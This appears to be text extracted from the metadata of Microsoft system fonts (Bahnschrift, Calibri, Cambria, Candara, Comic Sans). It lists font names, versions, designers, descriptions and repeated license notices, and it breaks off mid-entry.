download this font to a printer or other output device to help print content. Any other use is prohibited. https://docs.microsoft.com/typography/about Latn Cyrl Grek vi-Latn mk-Cyrl bg-Cyrl sr-Cyrl Bahnschrift Bahnschrift SemiLight SemiCondensed SemiLight SemiCondensed Bahnschrift-SemiLight-SemiCondensed *BAHNSCHRIFT.TTF en-us Weight Width Light SemiLight Regular SemiBold Bold Condensed SemiCondensed 2018 Microsoft Corporation. All rights reserved. Version 2.07;210929233650 Microsoft Corporation Aaron Bell http://www.sajatypeworks.com http://www.microsoft.com/typography/fonts/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. https://docs.microsoft.com/typography/about Latn Cyrl Grek vi-Latn mk-Cyrl bg-Cyrl sr-Cyrl Bahnschrift Bahnschrift Light SemiCondensed Light SemiCondensed Bahnschrift-Light-SemiCondensed *BAHNSCHRIFT.TTF en-us Weight Width Light SemiLight Regular SemiBold Bold Condensed SemiCondensed 2018 Microsoft Corporation. All rights reserved. Version 2.07;210929233650 Microsoft Corporation Aaron Bell http://www.sajatypeworks.com http://www.microsoft.com/typography/fonts/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. https://docs.microsoft.com/typography/about Latn Cyrl Grek vi-Latn mk-Cyrl bg-Cyrl sr-Cyrl Bahnschrift Bahnschrift SemiBold SemiCondensed SemiBold SemiCondensed Bahnschrift-SemiBold-SemiCondensed *BAHNSCHRIFT.TTF en-us Weight Width Light SemiLight Regular SemiBold Bold Condensed SemiCondensed 2018 Microsoft Corporation. All rights reserved. Version 2.07;210929233650 Microsoft Corporation Aaron Bell http://www.sajatypeworks.com http://www.microsoft.com/typography/fonts/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. https://docs.microsoft.com/typography/about Latn Cyrl Grek vi-Latn mk-Cyrl bg-Cyrl sr-Cyrl Bahnschrift Bahnschrift Bold Bahnschrift-Bold *BAHNSCHRIFT.TTF en-us Weight Width Light SemiLight Regular SemiBold Bold Condensed SemiCondensed 2018 Microsoft Corporation. All rights reserved. Version 2.07;210929233650 Microsoft Corporation Aaron Bell http://www.sajatypeworks.com http://www.microsoft.com/typography/fonts/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. https://docs.microsoft.com/typography/about Latn Cyrl Grek vi-Latn mk-Cyrl bg-Cyrl sr-Cyrl Bahnschrift Bahnschrift SemiCondensed Bold SemiCondensed Bahnschrift Bold SemiCondensed Bahnschrift-Bold-SemiCondensed *BAHNSCHRIFT.TTF en-us Weight Width Light SemiLight Regular SemiBold Bold Condensed SemiCondensed 2018 Microsoft Corporation. All rights reserved. Version 2.07;210929233650 Microsoft Corporation Aaron Bell http://www.sajatypeworks.com http://www.microsoft.com/typography/fonts/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. https://docs.microsoft.com/typography/about Latn Cyrl Grek vi-Latn mk-Cyrl bg-Cyrl sr-Cyrl Bahnschrift Bahnschrift Condensed Bahnschrift-Condensed *BAHNSCHRIFT.TTF en-us Weight Width Light SemiLight Regular SemiBold Bold Condensed SemiCondensed 2018 Microsoft Corporation. All rights reserved. Version 2.07;210929233650 Microsoft Corporation Aaron Bell http://www.sajatypeworks.com http://www.microsoft.com/typography/fonts/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. https://docs.microsoft.com/typography/about Latn Cyrl Grek vi-Latn mk-Cyrl bg-Cyrl sr-Cyrl Bahnschrift Bahnschrift SemiLight Condensed SemiLight Condensed Bahnschrift-SemiLight-Condensed *BAHNSCHRIFT.TTF en-us Weight Width Light SemiLight Regular SemiBold Bold Condensed SemiCondensed 2018 Microsoft Corporation. All rights reserved. Version 2.07;210929233650 Microsoft Corporation Aaron Bell http://www.sajatypeworks.com http://www.microsoft.com/typography/fonts/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. https://docs.microsoft.com/typography/about Latn Cyrl Grek vi-Latn mk-Cyrl bg-Cyrl sr-Cyrl Bahnschrift Bahnschrift Light Condensed Light Condensed Bahnschrift-Light-Condensed *BAHNSCHRIFT.TTF en-us Weight Width Light SemiLight Regular SemiBold Bold Condensed SemiCondensed 2018 Microsoft Corporation. All rights reserved. Version 2.07;210929233650 Microsoft Corporation Aaron Bell http://www.sajatypeworks.com http://www.microsoft.com/typography/fonts/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. https://docs.microsoft.com/typography/about Latn Cyrl Grek vi-Latn mk-Cyrl bg-Cyrl sr-Cyrl Bahnschrift Bahnschrift SemiBold Condensed SemiBold Condensed Bahnschrift-SemiBold-Condensed *BAHNSCHRIFT.TTF en-us Weight Width Light SemiLight Regular SemiBold Bold Condensed SemiCondensed 2018 Microsoft Corporation. All rights reserved. Version 2.07;210929233650 Microsoft Corporation Aaron Bell http://www.sajatypeworks.com http://www.microsoft.com/typography/fonts/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. https://docs.microsoft.com/typography/about Latn Cyrl Grek vi-Latn mk-Cyrl bg-Cyrl sr-Cyrl Bahnschrift Bahnschrift Condensed Bold Condensed Bahnschrift Bold Condensed Bahnschrift-Bold-Condensed *CALIBRIL.TTF 89$BD%r ,-./0123456 en-us 2025 Microsoft Corporation. All Rights Reserved. Hebrew OpenType Layout logic copyright 2003 & 2007, Ralph Hancock & John Hudson. This layout logic for Biblical Hebrew is open source software under the MIT License; see embedded license description for details. Version 6.27 Calibri is a trademark of the Microsoft group of companies. Microsoft Corporation Luc(as) de Groot http://lucasfonts.com Calibri is a modern sans serif family with subtle roundings on stems and corners. It features real italics, small caps, and multiple numeral sets. Its proportions allow high impact in tightly set lines of big and small text alike. Calibri's many curves and the new rasteriser team up in bigger sizes to reveal a warm and soft character. https://learn.microsoft.com/en-us/typography/font-list/calibri Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. The following license, based on the MIT license (http://en.wikipedia.org/wiki/MIT_License), applies to the OpenType Layout logic for Biblical Hebrew Layout Logic as jointly developed by Ralph Hancock and John Hudson. Permission is hereby granted, free of charge, to any person obtaining a copy of the OpenType Layout logic for Biblical Hebrew and associated documentation files (the Layout Logic Software ), to deal in the Layout Logic Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Layout Logic Software, and to permit persons to whom the Layout Logic Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Layout Logic Software. THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. Arab Armn Cyrl Geok Geor Grek Hebr Latn Light Calibri Calibri Light Regular Calibri-Light *CALIBRII.TTF &'()*+,-./0 en-us 2025 Microsoft Corporation. All Rights Reserved. Version 6.27 Calibri is a trademark of the Microsoft group of companies. Microsoft Corporation Luc(as) de Groot http://lucasfonts.com Calibri is a modern sans serif family with subtle roundings on stems and corners. It features real italics, small caps, and multiple numeral sets. Its proportions allow high impact in tightly set lines of big and small text alike. Calibri's many curves and the new rasteriser team up in bigger sizes to reveal a warm and soft character. https://learn.microsoft.com/en-us/typography/font-list/calibri Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. The following license, based on the MIT license (http://en.wikipedia.org/wiki/MIT_License), applies to the OpenType Layout logic for Biblical Hebrew Layout Logic as jointly developed by Ralph Hancock and John Hudson. Permission is hereby granted, free of charge, to any person obtaining a copy of the OpenType Layout logic for Biblical Hebrew and associated documentation files (the Layout Logic Software ), to deal in the Layout Logic Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Layout Logic Software, and to permit persons to whom the Layout Logic Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Layout Logic Software. THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. Armn Cyrl Geok Geor Grek Hebr Latn Italic Calibri Calibri Italic Calibri-Italic *CALIBRILI.TTF &'()*+,-./0 en-us 2025 Microsoft Corporation. All Rights Reserved. Version 6.27 Calibri is a trademark of the Microsoft group of companies. Microsoft Corporation Luc(as) de Groot http://lucasfonts.com Calibri is a modern sans serif family with subtle roundings on stems and corners. It features real italics, small caps, and multiple numeral sets. Its proportions allow high impact in tightly set lines of big and small text alike. Calibri's many curves and the new rasteriser team up in bigger sizes to reveal a warm and soft character. https://learn.microsoft.com/en-us/typography/font-list/calibri Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. The following license, based on the MIT license (http://en.wikipedia.org/wiki/MIT_License), applies to the OpenType Layout logic for Biblical Hebrew Layout Logic as jointly developed by Ralph Hancock and John Hudson. Permission is hereby granted, free of charge, to any person obtaining a copy of the OpenType Layout logic for Biblical Hebrew and associated documentation files (the Layout Logic Software ), to deal in the Layout Logic Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Layout Logic Software, and to permit persons to whom the Layout Logic Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Layout Logic Software. THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. Armn Cyrl Geok Geor Grek Hebr Latn Light Italic Calibri Calibri Light Italic Calibri Light Italic Calibri-LightItalic *CALIBRIB.TTF 89$BD%r ,-./0123456 en-us 2025 Microsoft Corporation. All Rights Reserved. Hebrew OpenType Layout logic copyright 2003 & 2007, Ralph Hancock & John Hudson. This layout logic for Biblical Hebrew is open source software under the MIT License; see embedded license description for details. Version 6.27 Calibri is a trademark of the Microsoft group of companies. Microsoft Corporation Luc(as) de Groot http://lucasfonts.com Calibri is a modern sans serif family with subtle roundings on stems and corners. It features real italics, small caps, and multiple numeral sets. Its proportions allow high impact in tightly set lines of big and small text alike. Calibri's many curves and the new rasteriser team up in bigger sizes to reveal a warm and soft character. https://learn.microsoft.com/en-us/typography/font-list/calibri Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. The following license, based on the MIT license (http://en.wikipedia.org/wiki/MIT_License), applies to the OpenType Layout logic for Biblical Hebrew Layout Logic as jointly developed by Ralph Hancock and John Hudson. Permission is hereby granted, free of charge, to any person obtaining a copy of the OpenType Layout logic for Biblical Hebrew and associated documentation files (the Layout Logic Software ), to deal in the Layout Logic Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Layout Logic Software, and to permit persons to whom the Layout Logic Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Layout Logic Software. THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. Arab Armn Cyrl Geok Geor Grek Hebr Latn Bold Calibri Calibri Bold Calibri-Bold *CALIBRIZ.TTF &'()*+,-./0 en-us 2025 Microsoft Corporation. All Rights Reserved. Version 6.27 Calibri is a trademark of the Microsoft group of companies. Microsoft Corporation Luc(as) de Groot http://lucasfonts.com Calibri is a modern sans serif family with subtle roundings on stems and corners. It features real italics, small caps, and multiple numeral sets. Its proportions allow high impact in tightly set lines of big and small text alike. Calibri's many curves and the new rasteriser team up in bigger sizes to reveal a warm and soft character. https://learn.microsoft.com/en-us/typography/font-list/calibri Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. The following license, based on the MIT license (http://en.wikipedia.org/wiki/MIT_License), applies to the OpenType Layout logic for Biblical Hebrew Layout Logic as jointly developed by Ralph Hancock and John Hudson. Permission is hereby granted, free of charge, to any person obtaining a copy of the OpenType Layout logic for Biblical Hebrew and associated documentation files (the Layout Logic Software ), to deal in the Layout Logic Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Layout Logic Software, and to permit persons to whom the Layout Logic Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Layout Logic Software. THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. Armn Cyrl Geok Geor Grek Hebr Latn Bold Italic Calibri Calibri Bold Italic Calibri-BoldItalic *CAMBRIA.TTC !"#$%&'( en-us 2017 Microsoft Corporation. All rights reserved. Version 6.99 Cambria is a trademark of the Microsoft group of companies. Microsoft Corporation Monotype Imaging and Tiro Typeworks http://www.fonts.com Cambria has been designed for on-screen reading and to look good when printed at small sizes. It has very even spacing and proportions. Diagonal and vertical hairlines and serifs are relatively strong, while horizontal serifs are small and intend to emphasize stroke endings rather than stand out themselves. This principle is most noticeable in the italics where the lowercase characters are subdued in style to be at their best as elements of word-images. When Cambria is used for captions at sizes over 20 point, the inter-character spacing should be slightly reduced for best results. The design isn't just intended for business documents: The regular weight has been extended with a large set of math and science symbols. The Greek and Cyrillic has been designed under close supervision of an international team of experts, who aimed to set a historical new standard in multi-script type design. http://www.microsoft.com/typography/ctfonts Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. http://www.microsoft.com/typography/fonts/default.aspx Armn Cyrl Grek Latn Regular Cambria *CAMBRIAI.TTF en-us 2017 Microsoft Corporation. All rights reserved. Version 6.98 Cambria is a trademark of the Microsoft group of companies. Microsoft Corporation Monotype Imaging and Tiro Typeworks http://www.fonts.com Cambria has been designed for on-screen reading and to look good when printed at small sizes. It has very even spacing and proportions. Diagonal and vertical hairlines and serifs are relatively strong, while horizontal serifs are small and intend to emphasize stroke endings rather than stand out themselves. This principle is most noticeable in the italics where the lowercase characters are subdued in style to be at their best as elements of word-images. When Cambria is used for captions at sizes over 20 point, the inter-character spacing should be slightly reduced for best results. The design isn't just intended for business documents: The regular weight has been extended with a large set of math and science symbols. The Greek and Cyrillic has been designed under close supervision of an international team of experts, who aimed to set a historical new standard in multi-script type design. http://www.microsoft.com/typography/ctfonts Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. http://www.microsoft.com/typography/fonts/default.aspx Armn Cyrl Grek Latn Italic Cambria Cambria Italic Cambria-Italic *CAMBRIAB.TTF en-us 2017 Microsoft Corporation. All rights reserved. Version 6.98 Cambria is a trademark of the Microsoft group of companies. Microsoft Corporation Monotype Imaging and Tiro Typeworks http://www.fonts.com Cambria has been designed for on-screen reading and to look good when printed at small sizes. It has very even spacing and proportions. Diagonal and vertical hairlines and serifs are relatively strong, while horizontal serifs are small and intend to emphasize stroke endings rather than stand out themselves. This principle is most noticeable in the italics where the lowercase characters are subdued in style to be at their best as elements of word-images. When Cambria is used for captions at sizes over 20 point, the inter-character spacing should be slightly reduced for best results. The design isn't just intended for business documents: The regular weight has been extended with a large set of math and science symbols. The Greek and Cyrillic has been designed under close supervision of an international team of experts, who aimed to set a historical new standard in multi-script type design. http://www.microsoft.com/typography/ctfonts Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. http://www.microsoft.com/typography/fonts/default.aspx Armn Cyrl Grek Latn Bold Cambria Cambria Bold Cambria-Bold *CAMBRIAZ.TTF en-us 2017 Microsoft Corporation. All rights reserved. Version 6.98 Cambria is a trademark of the Microsoft group of companies. Microsoft Corporation Monotype Imaging and Tiro Typeworks http://www.fonts.com Cambria has been designed for on-screen reading and to look good when printed at small sizes. It has very even spacing and proportions. Diagonal and vertical hairlines and serifs are relatively strong, while horizontal serifs are small and intend to emphasize stroke endings rather than stand out themselves. This principle is most noticeable in the italics where the lowercase characters are subdued in style to be at their best as elements of word-images. When Cambria is used for captions at sizes over 20 point, the inter-character spacing should be slightly reduced for best results. The design isn't just intended for business documents: The regular weight has been extended with a large set of math and science symbols. The Greek and Cyrillic has been designed under close supervision of an international team of experts, who aimed to set a historical new standard in multi-script type design. http://www.microsoft.com/typography/ctfonts Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. http://www.microsoft.com/typography/fonts/default.aspx Armn Cyrl Grek Latn Bold Italic Cambria Cambria Bold Italic Cambria-BoldItalic *CAMBRIA.TTC !"#$%&'( en-us 2017 Microsoft Corporation. All rights reserved. Version 6.99 Cambria is a trademark of the Microsoft group of companies. Microsoft Corporation Monotype Imaging and Tiro Typeworks http://www.fonts.com Cambria has been designed for on-screen reading and to look good when printed at small sizes. It has very even spacing and proportions. Diagonal and vertical hairlines and serifs are relatively strong, while horizontal serifs are small and intend to emphasize stroke endings rather than stand out themselves. This principle is most noticeable in the italics where the lowercase characters are subdued in style to be at their best as elements of word-images. When Cambria is used for captions at sizes over 20 point, the inter-character spacing should be slightly reduced for best results. The design isn't just intended for business documents: The regular weight has been extended with a large set of math and science symbols. The Greek and Cyrillic has been designed under close supervision of an international team of experts, who aimed to set a historical new standard in multi-script type design. http://www.microsoft.com/typography/ctfonts Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. http://www.microsoft.com/typography/fonts/default.aspx Armn Cyrl Grek Latn Regular Cambria Math CambriaMath *CANDARA.TTF en-us 2008-2023 Microsoft Corporation. All Rights Reserved. Version 5.64 Candara is either a registered trademark or a trademark of Microsoft Corporation in the United States and/or other countries. Microsoft Corporation Gary Munch http://www.munchfonts.com Candara is a casual humanist sans with verticals showing a graceful entasis on stems, high-branching arcades in the lowercase, large apertures in all open forms, and unique ogee curves on diagonals. The resultant texture is lively but not intrusive, and makes for a friendly and readable text. https://learn.microsoft.com/en-us/typography/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. https://learn.microsoft.com/en-us/typography/font-list/candara Cyrl Grek Latn Regular Candara *CANDARAL.TTF en-us 2008-2023 Microsoft Corporation. All Rights Reserved. Version 5.64 Candara is either a registered trademark or a trademark of Microsoft Corporation in the United States and/or other countries. Microsoft Corporation Monotype Design Team http://www.monotype.com Candara is a casual humanist sans with verticals showing a graceful entasis on stems, high-branching arcades in the lowercase, large apertures in all open forms, and unique ogee curves on diagonals. The resultant texture is lively but not intrusive, and makes for a friendly and readable text. https://learn.microsoft.com/en-us/typography/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. https://learn.microsoft.com/en-us/typography/font-list/candara Cyrl Grek Latn Light Candara Candara Light Regular Candara-Light *CANDARAI.TTF en-us 2008-2023 Microsoft Corporation. All Rights Reserved. Version 5.64 Candara is either a registered trademark or a trademark of Microsoft Corporation in the United States and/or other countries. Microsoft Corporation Gary Munch http://www.munchfonts.com Candara is a casual humanist sans with verticals showing a graceful entasis on stems, high-branching arcades in the lowercase, large apertures in all open forms, and unique ogee curves on diagonals. The resultant texture is lively but not intrusive, and makes for a friendly and readable text. https://learn.microsoft.com/en-us/typography/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. https://learn.microsoft.com/en-us/typography/font-list/candara Cyrl Grek Latn Italic Candara Candara Italic Candara-Italic *CANDARALI.TTF en-us 2008-2023 Microsoft Corporation. All Rights Reserved. Version 5.64 Candara is either a registered trademark or a trademark of Microsoft Corporation in the United States and/or other countries. Microsoft Corporation Monotype Design Team http://www.monotype.com Candara is a casual humanist sans with verticals showing a graceful entasis on stems, high-branching arcades in the lowercase, large apertures in all open forms, and unique ogee curves on diagonals. The resultant texture is lively but not intrusive, and makes for a friendly and readable text. https://learn.microsoft.com/en-us/typography/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. https://learn.microsoft.com/en-us/typography/font-list/candara Cyrl Grek Latn Light Italic Candara Candara Light Italic Candara Light Italic Candara-LightItalic *CANDARAB.TTF en-us 2008-2023 Microsoft Corporation. All Rights Reserved. Version 5.64 Candara is either a registered trademark or a trademark of Microsoft Corporation in the United States and/or other countries. Microsoft Corporation Gary Munch http://www.munchfonts.com Candara is a casual humanist sans with verticals showing a graceful entasis on stems, high-branching arcades in the lowercase, large apertures in all open forms, and unique ogee curves on diagonals. The resultant texture is lively but not intrusive, and makes for a friendly and readable text. https://learn.microsoft.com/en-us/typography/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. https://learn.microsoft.com/en-us/typography/font-list/candara Cyrl Grek Latn Bold Candara Candara Bold Candara-Bold *CANDARAZ.TTF en-us 2008-2023 Microsoft Corporation. All Rights Reserved. Version 5.64 Candara is either a registered trademark or a trademark of Microsoft Corporation in the United States and/or other countries. Microsoft Corporation Gary Munch http://www.munchfonts.com Candara is a casual humanist sans with verticals showing a graceful entasis on stems, high-branching arcades in the lowercase, large apertures in all open forms, and unique ogee curves on diagonals. The resultant texture is lively but not intrusive, and makes for a friendly and readable text. https://learn.microsoft.com/en-us/typography/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. https://learn.microsoft.com/en-us/typography/font-list/candara Cyrl Grek Latn Bold Italic Candara Candara Bold Italic Candara-BoldItalic *COMIC.TTF en-us 2018 Microsoft Corporation. All Rights Reserved. Version 5.15 Comic Sans is a trademark of the Microsoft group of companies. Microsoft Corporation Vincent Connare Designed by Microsoft's Vincent Connare, this is a face based on the lettering from comic magazines. This casual but legible face has proved very popular with a wide variety of people. https://docs.microsoft.com/typography/about Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. https://docs.microsoft.com/typography Cyrl Grek Latn ca-es Normal cs-cz da-dk normal de-de Standard el-gr Regular es-es es-es_tradnl es-mx eu-es Arrunta fi-fi Normaali fr-ca fr-fr hu-hu Norm it-it Normale nb-no nl-nl Standaard pl-pl Normalny pt-br pt-pt ru-ru sk-sk Norm sl-si Navadno sv-se tr-tr Comic Sans MS ComicSansMS *COMICI.TTF en-us 2018 Microsoft Corporation. All Rights Reserved. Version 5.15 Comic Sans is a trademark of the Microsoft group of companies. Microsoft Corporation Vincent Connare, Terrance Weinzierl Designed by Microsoft's Vincent Connare, this is a face based on the lettering from comic magazines. This casual but legible face has proved very popular with a wide variety of people. https://docs.microsoft.com/typography/about Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. https://docs.microsoft.com/typography Cyrl Grek Latn ca-es Cursiva cs-cz kurz da-dk kursiv de-de Kursiv el-gr Italic es-es es-es_tradnl es-mx eu-es Etzana fi-fi Kursivoitu fr-ca Italique fr-fr hu-hu it-it Corsivo nb-no nl-nl Cursief pl-pl Kursywa pt-br lico pt-pt ru-ru sk-sk Kurz sl-si evno sv-se tr-tr talik Comic Sans MS Comic Sans MS Cursiva Comic Sans MS kurz Comic Sans MS kursiv Comic Sans MS Kursiv Comic Sans MS Comic Sans MS Italic Comic Sans MS Etzana Comic Sans MS Kursivoitu Comic Sans MS Italique Comic Sans MS D Comic Sans MS Corsivo Comic Sans MS Cursief Comic Sans MS Kursywa Comic Sans 